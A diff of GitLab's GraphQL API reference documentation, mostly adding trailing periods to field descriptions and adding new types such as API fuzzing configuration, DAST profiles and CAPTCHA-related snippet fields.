-| `status` | AlertManagementStatus | Status of the alert | -| `title` | String | Title of the alert | -| `todos` | TodoConnection | Todos of the current user for the alert | -| `updatedAt` | Time | Timestamp the alert was last updated | +| `assignees` | UserConnection | Assignees of the alert. | +| `createdAt` | Time | Timestamp the alert was created. | +| `description` | String | Description of the alert. | +| `details` | JSON | Alert details. | +| `detailsUrl` | String! | The URL of the alert detail page. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `endedAt` | Time | Timestamp the alert ended. | +| `environment` | Environment | Environment for the alert. | +| `eventCount` | Int | Number of events of this alert. | +| `hosts` | String! => Array | List of hosts the alert came from. | +| `iid` | ID! | Internal ID of the alert. | +| `issueIid` | ID | Internal ID of the GitLab issue attached to the alert. | +| `metricsDashboardUrl` | String | URL for metrics embed for the alert. | +| `monitoringTool` | String | Monitoring tool the alert came from. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `prometheusAlert` | PrometheusAlert | The alert condition for Prometheus. | +| `runbook` | String | Runbook for the alert as defined in alert details. | +| `service` | String | Service the alert came from. | +| `severity` | AlertManagementSeverity | Severity of the alert. | +| `startedAt` | Time | Timestamp the alert was raised. | +| `status` | AlertManagementStatus | Status of the alert. | +| `title` | String | Title of the alert. | +| `todos` | TodoConnection | To-do items of the current user for the alert. | +| `updatedAt` | Time | Timestamp the alert was last updated. | ### AlertManagementAlertStatusCountsType @@ -112,9 +114,9 @@ Represents total number of alerts for the represented categories. | Field | Type | Description | | ----- | ---- | ----------- | | `acknowledged` | Int | Number of alerts with status ACKNOWLEDGED for the project | -| `all` | Int | Total number of alerts for the project | +| `all` | Int | Total number of alerts for the project. | | `ignored` | Int | Number of alerts with status IGNORED for the project | -| `open` | Int | Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project | +| `open` | Int | Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project. | | `resolved` | Int | Number of alerts with status RESOLVED for the project | | `triggered` | Int | Number of alerts with status TRIGGERED for the project | @@ -124,13 +126,23 @@ An endpoint and credentials used to accept alerts for a project. | Field | Type | Description | | ----- | ---- | ----------- | -| `active` | Boolean | Whether the endpoint is currently accepting alerts | -| `apiUrl` | String | URL at which Prometheus metrics can be queried to populate the metrics dashboard | -| `id` | ID! | ID of the integration | -| `name` | String | Name of the integration | -| `token` | String | Token used to authenticate alert notification requests | -| `type` | AlertManagementIntegrationType! | Type of integration | -| `url` | String | Endpoint which accepts alert notifications | +| `active` | Boolean | Whether the endpoint is currently accepting alerts. | +| `apiUrl` | String | URL at which Prometheus metrics can be queried to populate the metrics dashboard. | +| `id` | ID! | ID of the integration. | +| `name` | String | Name of the integration. | +| `token` | String | Token used to authenticate alert notification requests. | +| `type` | AlertManagementIntegrationType! | Type of integration. | +| `url` | String | Endpoint which accepts alert notifications. | + +### AlertManagementPayloadAlertField + +Parsed field from an alert used for custom mappings. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `label` | String | Human-readable label of the payload path. | +| `path` | String! => Array | Path to value inside payload JSON. | +| `type` | AlertManagementPayloadAlertFieldType | Type of the parsed value. | ### AlertManagementPrometheusIntegration @@ -138,13 +150,13 @@ An endpoint and credentials used to accept Prometheus alerts for a project. | Field | Type | Description | | ----- | ---- | ----------- | -| `active` | Boolean | Whether the endpoint is currently accepting alerts | -| `apiUrl` | String | URL at which Prometheus metrics can be queried to populate the metrics dashboard | -| `id` | ID! | ID of the integration | -| `name` | String | Name of the integration | -| `token` | String | Token used to authenticate alert notification requests | -| `type` | AlertManagementIntegrationType! | Type of integration | -| `url` | String | Endpoint which accepts alert notifications | +| `active` | Boolean | Whether the endpoint is currently accepting alerts. | +| `apiUrl` | String | URL at which Prometheus metrics can be queried to populate the metrics dashboard. | +| `id` | ID! | ID of the integration. | +| `name` | String | Name of the integration. | +| `token` | String | Token used to authenticate alert notification requests. | +| `type` | AlertManagementIntegrationType! | Type of integration. | +| `url` | String | Endpoint which accepts alert notifications. | ### AlertSetAssigneesPayload @@ -156,7 +168,7 @@ Autogenerated return type of AlertSetAssignees. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation. | -| `todo` | Todo | The todo after mutation. | +| `todo` | Todo | The to-do item after mutation. | ### AlertTodoCreatePayload @@ -168,7 +180,37 @@ Autogenerated return type of AlertTodoCreate. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation. | -| `todo` | Todo | The todo after mutation. | +| `todo` | Todo | The to-do item after mutation. | + +### ApiFuzzingCiConfiguration + +Data associated with configuring API fuzzing scans in GitLab CI. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `scanModes` | ApiFuzzingScanMode! => Array | All available scan modes. | +| `scanProfiles` | ApiFuzzingScanProfile! => Array | All default scan profiles. | + +### ApiFuzzingCiConfigurationCreatePayload + +Autogenerated return type of ApiFuzzingCiConfigurationCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `configurationYaml` | String | A YAML snippet that can be inserted into the project's `.gitlab-ci.yml` to set up API fuzzing scans. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `gitlabCiYamlEditPath` | String | The location at which the project's `.gitlab-ci.yml` file can be edited in the browser. | + +### ApiFuzzingScanProfile + +An API Fuzzing scan profile.. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String | A short description of the profile. | +| `name` | String | The unique name of the profile. | +| `yaml` | String | A syntax highlit HTML representation of the YAML. | ### AwardEmoji @@ -176,12 +218,12 @@ An emoji awarded by a user. | Field | Type | Description | | ----- | ---- | ----------- | -| `description` | String! | The emoji description | -| `emoji` | String! | The emoji as an icon | -| `name` | String! | The emoji name | -| `unicode` | String! | The emoji in unicode | -| `unicodeVersion` | String! | The unicode version for this emoji | -| `user` | User! | The user who awarded the emoji | +| `description` | String! | The emoji description. | +| `emoji` | String! | The emoji as an icon. | +| `name` | String! | The emoji name. | +| `unicode` | String! | The emoji in Unicode. | +| `unicodeVersion` | String! | The Unicode version for this emoji. | +| `user` | User! | The user who awarded the emoji. | ### AwardEmojiAddPayload @@ -218,23 +260,23 @@ Autogenerated return type of AwardEmojiToggle. | Field | Type | Description | | ----- | ---- | ----------- | -| `active` | Boolean | Indicates if the service is active | -| `type` | String | Class name of the service | +| `active` | Boolean | Indicates if the service is active. | +| `type` | String | Class name of the service. | ### Blob | Field | Type | Description | | ----- | ---- | ----------- | -| `flatPath` | String! | Flat path of the entry | -| `id` | ID! | ID of the entry | -| `lfsOid` | String | LFS ID of the blob | -| `mode` | String | Blob mode in numeric format | -| `name` | String! | Name of the entry | -| `path` | String! | Path of the entry | -| `sha` | String! | Last commit sha for the entry | -| `type` | EntryType! | Type of tree entry | -| `webPath` | String | Web path of the blob | -| `webUrl` | String | Web URL of the blob | +| `flatPath` | String! | Flat path of the entry. | +| `id` | ID! | ID of the entry. | +| `lfsOid` | String | LFS ID of the blob. | +| `mode` | String | Blob mode in numeric format. | +| `name` | String! | Name of the entry. | +| `path` | String! | Path of the entry. | +| `sha` | String! | Last commit SHA for the entry. | +| `type` | EntryType! | Type of tree entry. | +| `webPath` | String | Web path of the blob. | +| `webUrl` | String | Web URL of the blob. | ### Board @@ -242,19 +284,19 @@ Represents a project or group board. | Field | Type | Description | | ----- | ---- | ----------- | -| `assignee` | User | The board assignee | -| `epics` | BoardEpicConnection | Epics associated with board issues | -| `hideBacklogList` | Boolean | Whether or not backlog list is hidden | -| `hideClosedList` | Boolean | Whether or not closed list is hidden | -| `id` | ID! | ID (global ID) of the board | +| `assignee` | User | The board assignee. | +| `epics` | BoardEpicConnection | Epics associated with board issues. | +| `hideBacklogList` | Boolean | Whether or not backlog list is hidden. | +| `hideClosedList` | Boolean | Whether or not closed list is hidden. | +| `id` | ID! | ID (global ID) of the board. | | `iteration` | Iteration | The board iteration. | -| `labels` | LabelConnection | Labels of the board | -| `lists` | BoardListConnection | Lists of the board | -| `milestone` | Milestone | The board milestone | -| `name` | String | Name of the board | +| `labels` | LabelConnection | Labels of the board. | +| `lists` | BoardListConnection | Lists of the board. | +| `milestone` | Milestone | The board milestone. | +| `name` | String | Name of the board. | | `webPath` | String! | Web path of the board. | | `webUrl` | String! | Web URL of the board. | -| `weight` | Int | Weight of the board | +| `weight` | Int | Weight of the board. | ### BoardEpic @@ -262,51 +304,53 @@ Represents an epic on an issue board. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User! | Author of the epic | -| `children` | EpicConnection | Children (sub-epics) of the epic | -| `closedAt` | Time | Timestamp of when the epic was closed | -| `confidential` | Boolean | Indicates if the epic is confidential | -| `createdAt` | Time | Timestamp of when the epic was created | -| `currentUserTodos` | TodoConnection! | Todos for the current user | -| `descendantCounts` | EpicDescendantCount | Number of open and closed descendant epics and issues | -| `descendantWeightSum` | EpicDescendantWeights | Total weight of open and closed issues in the epic and its descendants | -| `description` | String | Description of the epic | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `downvotes` | Int! | Number of downvotes the epic has received | -| `dueDate` | Time | Due date of the epic | -| `dueDateFixed` | Time | Fixed due date of the epic | -| `dueDateFromMilestones` | Time | Inherited due date of the epic from milestones | -| `dueDateIsFixed` | Boolean | Indicates if the due date has been manually set | -| `group` | Group! | Group to which the epic belongs | -| `hasChildren` | Boolean! | Indicates if the epic has children | -| `hasIssues` | Boolean! | Indicates if the epic has direct issues | -| `hasParent` | Boolean! | Indicates if the epic has a parent epic | -| `healthStatus` | EpicHealthStatus | Current health status of the epic | -| `id` | ID! | ID of the epic | -| `iid` | ID! | Internal ID of the epic | -| `issues` | EpicIssueConnection | A list of issues associated with the epic | -| `labels` | LabelConnection | Labels assigned to the epic | -| `notes` | NoteConnection! | All notes on this noteable | -| `parent` | Epic | Parent epic of the epic | -| `participants` | UserConnection | List of participants for the epic | -| `reference` | String! | Internal reference of the epic. Returned in shortened format by default | -| `relationPath` | String | URI path of the epic-issue relationship | -| `relativePosition` | Int | The relative position of the epic in the epic tree | -| `startDate` | Time | Start date of the epic | -| `startDateFixed` | Time | Fixed start date of the epic | -| `startDateFromMilestones` | Time | Inherited start date of the epic from milestones | -| `startDateIsFixed` | Boolean | Indicates if the start date has been manually set | -| `state` | EpicState! | State of the epic | -| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the epic | -| `title` | String | Title of the epic | -| `updatedAt` | Time | Timestamp of when the epic was updated | -| `upvotes` | Int! | Number of upvotes the epic has received | -| `userDiscussionsCount` | Int! | Number of user discussions in the epic | -| `userNotesCount` | Int! | Number of user notes of the epic | +| `author` | User! | Author of the epic. | +| `awardEmoji` | AwardEmojiConnection | A list of award emojis associated with the epic. | +| `children` | EpicConnection | Children (sub-epics) of the epic. | +| `closedAt` | Time | Timestamp of when the epic was closed. | +| `confidential` | Boolean | Indicates if the epic is confidential. | +| `createdAt` | Time | Timestamp of when the epic was created. | +| `currentUserTodos` | TodoConnection! | To-do items for the current user. | +| `descendantCounts` | EpicDescendantCount | Number of open and closed descendant epics and issues. | +| `descendantWeightSum` | EpicDescendantWeights | Total weight of open and closed issues in the epic and its descendants. | +| `description` | String | Description of the epic. | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `downvotes` | Int! | Number of downvotes the epic has received. | +| `dueDate` | Time | Due date of the epic. | +| `dueDateFixed` | Time | Fixed due date of the epic. | +| `dueDateFromMilestones` | Time | Inherited due date of the epic from milestones. | +| `dueDateIsFixed` | Boolean | Indicates if the due date has been manually set. | +| `events` | EventConnection | A list of events associated with the object. | +| `group` | Group! | Group to which the epic belongs. | +| `hasChildren` | Boolean! | Indicates if the epic has children. | +| `hasIssues` | Boolean! | Indicates if the epic has direct issues. | +| `hasParent` | Boolean! | Indicates if the epic has a parent epic. | +| `healthStatus` | EpicHealthStatus | Current health status of the epic. | +| `id` | ID! | ID of the epic. | +| `iid` | ID! | Internal ID of the epic. | +| `issues` | EpicIssueConnection | A list of issues associated with the epic. | +| `labels` | LabelConnection | Labels assigned to the epic. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `parent` | Epic | Parent epic of the epic. | +| `participants` | UserConnection | List of participants for the epic. | +| `reference` | String! | Internal reference of the epic. Returned in shortened format by default. | +| `relationPath` | String | URI path of the epic-issue relationship. | +| `relativePosition` | Int | The relative position of the epic in the epic tree. | +| `startDate` | Time | Start date of the epic. | +| `startDateFixed` | Time | Fixed start date of the epic. | +| `startDateFromMilestones` | Time | Inherited start date of the epic from milestones. | +| `startDateIsFixed` | Boolean | Indicates if the start date has been manually set. | +| `state` | EpicState! | State of the epic. | +| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the epic. | +| `title` | String | Title of the epic. | +| `updatedAt` | Time | Timestamp of when the epic was updated. | +| `upvotes` | Int! | Number of upvotes the epic has received. | +| `userDiscussionsCount` | Int! | Number of user discussions in the epic. | +| `userNotesCount` | Int! | Number of user notes of the epic. | | `userPermissions` | EpicPermissions! | Permissions for the current user on the resource | -| `userPreferences` | BoardEpicUserPreferences | User preferences for the epic on the issue board | -| `webPath` | String! | Web path of the epic | -| `webUrl` | String! | Web URL of the epic | +| `userPreferences` | BoardEpicUserPreferences | User preferences for the epic on the issue board. | +| `webPath` | String! | Web path of the epic. | +| `webUrl` | String! | Web URL of the epic. | ### BoardEpicUserPreferences @@ -314,7 +358,7 @@ Represents user preferences for a board epic. | Field | Type | Description | | ----- | ---- | ----------- | -| `collapsed` | Boolean! | Indicates epic should be displayed as collapsed | +| `collapsed` | Boolean! | Indicates epic should be displayed as collapsed. | ### BoardList @@ -322,21 +366,21 @@ Represents a list for an issue board. | Field | Type | Description | | ----- | ---- | ----------- | -| `assignee` | User | Assignee in the list | -| `collapsed` | Boolean | Indicates if list is collapsed for this user | -| `id` | ID! | ID (global ID) of the list | -| `issues` | IssueConnection | Board issues | -| `issuesCount` | Int | Count of issues in the list | -| `iteration` | Iteration | Iteration of the list | -| `label` | Label | Label of the list | -| `limitMetric` | ListLimitMetric | The current limit metric for the list | -| `listType` | String! | Type of the list | -| `maxIssueCount` | Int | Maximum number of issues in the list | -| `maxIssueWeight` | Int | Maximum weight of issues in the list | -| `milestone` | Milestone | Milestone of the list | -| `position` | Int | Position of list within the board | -| `title` | String! | Title of the list | -| `totalWeight` | Int | Total weight of all issues in the list | +| `assignee` | User | Assignee in the list. | +| `collapsed` | Boolean | Indicates if list is collapsed for this user. | +| `id` | ID! | ID (global ID) of the list. | +| `issues` | IssueConnection | Board issues. | +| `issuesCount` | Int | Count of issues in the list. | +| `iteration` | Iteration | Iteration of the list. | +| `label` | Label | Label of the list. | +| `limitMetric` | ListLimitMetric | The current limit metric for the list. | +| `listType` | String! | Type of the list. | +| `maxIssueCount` | Int | Maximum number of issues in the list. | +| `maxIssueWeight` | Int | Maximum weight of issues in the list. | +| `milestone` | Milestone | Milestone of the list. | +| `position` | Int | Position of list within the board. | +| `title` | String! | Title of the list. | +| `totalWeight` | Int | Total weight of all issues in the list. | ### BoardListCreatePayload @@ -346,7 +390,7 @@ Autogenerated return type of BoardListCreate. | ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -| `list` | BoardList | List of the issue board. | +| `list` | BoardList | Issue list in the issue board. | ### BoardListUpdateLimitMetricsPayload @@ -362,8 +406,8 @@ Autogenerated return type of BoardListUpdateLimitMetrics. | Field | Type | Description | | ----- | ---- | ----------- | -| `commit` | Commit | Commit for the branch | -| `name` | String! | Name of the branch | +| `commit` | Commit | Commit for the branch. | +| `name` | String! | Name of the branch. | ### BurnupChartDailyTotals @@ -371,11 +415,17 @@ Represents the total number of issues and their weights for a particular day. | Field | Type | Description | | ----- | ---- | ----------- | -| `completedCount` | Int! | Number of closed issues as of this day | -| `completedWeight` | Int! | Total weight of closed issues as of this day | -| `date` | ISO8601Date! | Date for burnup totals | -| `scopeCount` | Int! | Number of issues as of this day | -| `scopeWeight` | Int! | Total weight of issues as of this day | +| `completedCount` | Int! | Number of closed issues as of this day. | +| `completedWeight` | Int! | Total weight of closed issues as of this day. | +| `date` | ISO8601Date! | Date for burnup totals. | +| `scopeCount` | Int! | Number of issues as of this day. | +| `scopeWeight` | Int! | Total weight of issues as of this day. | + +### CiApplicationSettings + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `keepLatestArtifact` | Boolean | Whether to keep the latest jobs artifacts. | ### CiBuildNeed @@ -396,18 +446,18 @@ Autogenerated return type of CiCdSettingsUpdate. | Field | Type | Description | | ----- | ---- | ----------- | -| `errors` | String! => Array | Linting errors | -| `mergedYaml` | String | Merged CI config YAML | -| `stages` | CiConfigStageConnection | Stages of the pipeline | -| `status` | CiConfigStatus | Status of linting, can be either valid or invalid | +| `errors` | String! => Array | Linting errors. | +| `mergedYaml` | String | Merged CI configuration YAML. | +| `stages` | CiConfigStageConnection | Stages of the pipeline. | +| `status` | CiConfigStatus | Status of linting, can be either valid or invalid. | ### CiConfigGroup | Field | Type | Description | | ----- | ---- | ----------- | -| `jobs` | CiConfigJobConnection | Jobs in group | -| `name` | String | Name of the job group | -| `size` | Int | Size of the job group | +| `jobs` | CiConfigJobConnection | Jobs in group. | +| `name` | String | Name of the job group. | +| `size` | Int | Size of the job group. | ### CiConfigJob @@ -437,60 +487,61 @@ Autogenerated return type of CiCdSettingsUpdate. | Field | Type | Description | | ----- | ---- | ----------- | -| `name` | String | Name of the need | +| `name` | String | Name of the need. | ### CiConfigStage | Field | Type | Description | | ----- | ---- | ----------- | -| `groups` | CiConfigGroupConnection | Groups of jobs for the stage | -| `name` | String | Name of the stage | +| `groups` | CiConfigGroupConnection | Groups of jobs for the stage. | +| `name` | String | Name of the stage. | ### CiGroup | Field | Type | Description | | ----- | ---- | ----------- | -| `detailedStatus` | DetailedStatus | Detailed status of the group | -| `jobs` | CiJobConnection | Jobs in group | -| `name` | String | Name of the job group | -| `size` | Int | Size of the group | +| `detailedStatus` | DetailedStatus | Detailed status of the group. | +| `jobs` | CiJobConnection | Jobs in group. | +| `name` | String | Name of the job group. | +| `size` | Int | Size of the group. | ### CiJob | Field | Type | Description | | ----- | ---- | ----------- | -| `artifacts` | CiJobArtifactConnection | Artifacts generated by the job | -| `detailedStatus` | DetailedStatus | Detailed status of the job | -| `name` | String | Name of the job | -| `needs` | CiBuildNeedConnection | References to builds that must complete before the jobs run | -| `pipeline` | Pipeline | Pipeline the job belongs to | -| `scheduledAt` | Time | Schedule for the build | +| `artifacts` | CiJobArtifactConnection | Artifacts generated by the job. | +| `detailedStatus` | DetailedStatus | Detailed status of the job. | +| `name` | String | Name of the job. | +| `needs` | CiBuildNeedConnection | References to builds that must complete before the jobs run. | +| `pipeline` | Pipeline | Pipeline the job belongs to. | +| `scheduledAt` | Time | Schedule for the build. | ### CiJobArtifact | Field | Type | Description | | ----- | ---- | ----------- | -| `downloadPath` | String | URL for downloading the artifact's file | -| `fileType` | JobArtifactFileType | File type of the artifact | +| `downloadPath` | String | URL for downloading the artifact's file. | +| `fileType` | JobArtifactFileType | File type of the artifact. | ### CiStage | Field | Type | Description | | ----- | ---- | ----------- | -| `detailedStatus` | DetailedStatus | Detailed status of the stage | -| `groups` | CiGroupConnection | Group of jobs for the stage | -| `name` | String | Name of the stage | +| `detailedStatus` | DetailedStatus | Detailed status of the stage. | +| `groups` | CiGroupConnection | Group of jobs for the stage. | +| `name` | String | Name of the stage. | ### ClusterAgent | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | Time | Timestamp the cluster agent was created | -| `id` | ID! | ID of the cluster agent | -| `name` | String | Name of the cluster agent | -| `project` | Project | The project this cluster agent is associated with | -| `tokens` | ClusterAgentTokenConnection | Tokens associated with the cluster agent | -| `updatedAt` | Time | Timestamp the cluster agent was updated | +| `createdAt` | Time | Timestamp the cluster agent was created. | +| `createdByUser` | User | User object, containing information about the person who created the agent. | +| `id` | ID! | ID of the cluster agent. | +| `name` | String | Name of the cluster agent. | +| `project` | Project | The project this cluster agent is associated with. | +| `tokens` | ClusterAgentTokenConnection | Tokens associated with the cluster agent. | +| `updatedAt` | Time | Timestamp the cluster agent was updated. | ### ClusterAgentDeletePayload @@ -505,9 +556,10 @@ Autogenerated return type of ClusterAgentDelete. | Field | Type | Description | | ----- | ---- | ----------- | -| `clusterAgent` | ClusterAgent | Cluster agent this token is associated with | -| `createdAt` | Time | Timestamp the token was created | -| `id` | ClustersAgentTokenID! | Global ID of the token | +| `clusterAgent` | ClusterAgent | Cluster agent this token is associated with. | +| `createdAt` | Time | Timestamp the token was created. | +| `createdByUser` | User | The user who created the token. | +| `id` | ClustersAgentTokenID! | Global ID of the token. | ### ClusterAgentTokenCreatePayload @@ -554,22 +606,22 @@ Represents the code coverage summary for a project. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User | Author of the commit | -| `authorGravatar` | String | Commit authors gravatar | -| `authorName` | String | Commit authors name | -| `authoredDate` | Time | Timestamp of when the commit was authored | -| `description` | String | Description of the commit message | +| `author` | User | Author of the commit. | +| `authorGravatar` | String | Commit authors gravatar. | +| `authorName` | String | Commit authors name. | +| `authoredDate` | Time | Timestamp of when the commit was authored. | +| `description` | String | Description of the commit message. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `id` | ID! | ID (global ID) of the commit | -| `message` | String | Raw commit message | -| `pipelines` | PipelineConnection | Pipelines of the commit ordered latest first | -| `sha` | String! | SHA1 ID of the commit | -| `shortId` | String! | Short SHA1 ID of the commit | -| `signatureHtml` | String | Rendered HTML of the commit signature | -| `title` | String | Title of the commit message | +| `id` | ID! | ID (global ID) of the commit. | +| `message` | String | Raw commit message. | +| `pipelines` | PipelineConnection | Pipelines of the commit ordered latest first. | +| `sha` | String! | SHA1 ID of the commit. | +| `shortId` | String! | Short SHA1 ID of the commit. | +| `signatureHtml` | String | Rendered HTML of the commit signature. | +| `title` | String | Title of the commit message. | | `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` | -| `webPath` | String! | Web path of the commit | -| `webUrl` | String! | Web URL of the commit | +| `webPath` | String! | Web path of the commit. | +| `webUrl` | String! | Web URL of the commit. | ### CommitCreatePayload @@ -587,10 +639,20 @@ Represents a ComplianceFramework associated with a Project. | Field | Type | Description | | ----- | ---- | ----------- | -| `color` | String! | Hexadecimal representation of compliance framework's label color | -| `description` | String! | Description of the compliance framework | -| `id` | ID! | Compliance framework ID | -| `name` | String! | Name of the compliance framework | +| `color` | String! | Hexadecimal representation of compliance framework's label color. | +| `description` | String! | Description of the compliance framework. | +| `id` | ID! | Compliance framework ID. | +| `name` | String! | Name of the compliance framework. | +| `pipelineConfigurationFullPath` | String | Full path of the compliance pipeline configuration stored in a project repository, such as `.gitlab/.compliance-gitlab-ci.yml@compliance/hippa`. | + +### ComposerMetadata + +Composer metadata. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `composerJson` | PackageComposerJsonType! | Data of the Composer JSON file. | +| `targetSha` | String! | Target SHA of the package. | ### ConfigureSastPayload @@ -609,15 +671,15 @@ A tag expiration policy designed to keep only the images that matter most. | Field | Type | Description | | ----- | ---- | ----------- | -| `cadence` | ContainerExpirationPolicyCadenceEnum! | This container expiration policy schedule | -| `createdAt` | Time! | Timestamp of when the container expiration policy was created | -| `enabled` | Boolean! | Indicates whether this container expiration policy is enabled | -| `keepN` | ContainerExpirationPolicyKeepEnum | Number of tags to retain | -| `nameRegex` | UntrustedRegexp | Tags with names matching this regex pattern will expire | -| `nameRegexKeep` | UntrustedRegexp | Tags with names matching this regex pattern will be preserved | -| `nextRunAt` | Time | Next time that this container expiration policy will get executed | -| `olderThan` | ContainerExpirationPolicyOlderThanEnum | Tags older that this will expire | -| `updatedAt` | Time! | Timestamp of when the container expiration policy was updated | +| `cadence` | ContainerExpirationPolicyCadenceEnum! | This container expiration policy schedule. | +| `createdAt` | Time! | Timestamp of when the container expiration policy was created. | +| `enabled` | Boolean! | Indicates whether this container expiration policy is enabled. | +| `keepN` | ContainerExpirationPolicyKeepEnum | Number of tags to retain. | +| `nameRegex` | UntrustedRegexp | Tags with names matching this regex pattern will expire. | +| `nameRegexKeep` | UntrustedRegexp | Tags with names matching this regex pattern will be preserved. | +| `nextRunAt` | Time | Next time that this container expiration policy will get executed. | +| `olderThan` | ContainerExpirationPolicyOlderThanEnum | Tags older that this will expire. | +| `updatedAt` | Time! | Timestamp of when the container expiration policy was updated. | ### ContainerRepository @@ -633,7 +695,7 @@ A container repository. | `location` | String! | URL of the container repository. | | `name` | String! | Name of the container repository. | | `path` | String! | Path of the container repository. | -| `project` | Project! | Project of the container registry | +| `project` | Project! | Project of the container registry. | | `status` | ContainerRepositoryStatus | Status of the container repository. | | `tagsCount` | Int! | Number of tags associated with this image. | | `updatedAt` | Time! | Timestamp when the container repository was updated. | @@ -652,9 +714,9 @@ Details of a container repository. | `location` | String! | URL of the container repository. | | `name` | String! | Name of the container repository. | | `path` | String! | Path of the container repository. | -| `project` | Project! | Project of the container registry | +| `project` | Project! | Project of the container registry. | | `status` | ContainerRepositoryStatus | Status of the container repository. | -| `tags` | ContainerRepositoryTagConnection | Tags of the container repository | +| `tags` | ContainerRepositoryTagConnection | Tags of the container repository. | | `tagsCount` | Int! | Number of tags associated with this image. | | `updatedAt` | Time! | Timestamp when the container repository was updated. | @@ -684,7 +746,7 @@ Autogenerated return type of CreateAlertIssue. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation. | -| `todo` | Todo | The todo after mutation. | +| `todo` | Todo | The to-do item after mutation. | ### CreateAnnotationPayload @@ -832,10 +894,13 @@ Autogenerated return type of CreateSnippet. | Field | Type | Description | | ----- | ---- | ----------- | +| `captchaSiteKey` | String | The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `needsCaptchaResponse` | Boolean | Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | | `snippet` | Snippet | The snippet after mutation. | -| `spam` | Boolean | Indicates whether the operation returns a record detected as spam. | +| `spam` | Boolean | Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response. | +| `spamLogId` | Int | The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | ### CreateTestCasePayload @@ -853,10 +918,10 @@ A custom emoji uploaded by user. | Field | Type | Description | | ----- | ---- | ----------- | -| `external` | Boolean! | Whether the emoji is an external link | -| `id` | CustomEmojiID! | The ID of the emoji | -| `name` | String! | The name of the emoji | -| `url` | String! | The link to file of the emoji | +| `external` | Boolean! | Whether the emoji is an external link. | +| `id` | CustomEmojiID! | The ID of the emoji. | +| `name` | String! | The name of the emoji. | +| `url` | String! | The link to file of the emoji. | ### DastOnDemandScanCreatePayload @@ -868,20 +933,74 @@ Autogenerated return type of DastOnDemandScanCreate. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `pipelineUrl` | String | URL of the pipeline that was created. | +### DastProfile + +Represents a DAST Profile. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `dastScannerProfile` | DastScannerProfile | The associated scanner profile. | +| `dastSiteProfile` | DastSiteProfile | The associated site profile. | +| `description` | String | The description of the scan. | +| `editPath` | String | Relative web path to the edit page of a profile. | +| `id` | DastProfileID! | ID of the profile. | +| `name` | String | The name of the profile. | + +### DastProfileCreatePayload + +Autogenerated return type of DastProfileCreate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `dastProfile` | DastProfile | The created profile. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `pipelineUrl` | String | The URL of the pipeline that was created. Requires `runAfterCreate` to be set to `true`. | + +### DastProfileDeletePayload + +Autogenerated return type of DastProfileDelete. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + +### DastProfileRunPayload + +Autogenerated return type of DastProfileRun. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `pipelineUrl` | String | URL of the pipeline that was created. | + +### DastProfileUpdatePayload + +Autogenerated return type of DastProfileUpdate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `dastProfile` | DastProfile | The updated profile. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `pipelineUrl` | String | The URL of the pipeline that was created. Requires the input argument `runAfterUpdate` to be set to `true` when calling the mutation, otherwise no pipeline will be created. | + ### DastScannerProfile Represents a DAST scanner profile. | Field | Type | Description | | ----- | ---- | ----------- | -| `editPath` | String | Relative web path to the edit page of a scanner profile | +| `editPath` | String | Relative web path to the edit page of a scanner profile. | | `globalId` **{warning-solid}** | DastScannerProfileID! | **Deprecated:** Use `id`. Deprecated in 13.6. | -| `id` | DastScannerProfileID! | ID of the DAST scanner profile | -| `profileName` | String | Name of the DAST scanner profile | +| `id` | DastScannerProfileID! | ID of the DAST scanner profile. | +| `profileName` | String | Name of the DAST scanner profile. | | `scanType` | DastScanTypeEnum | 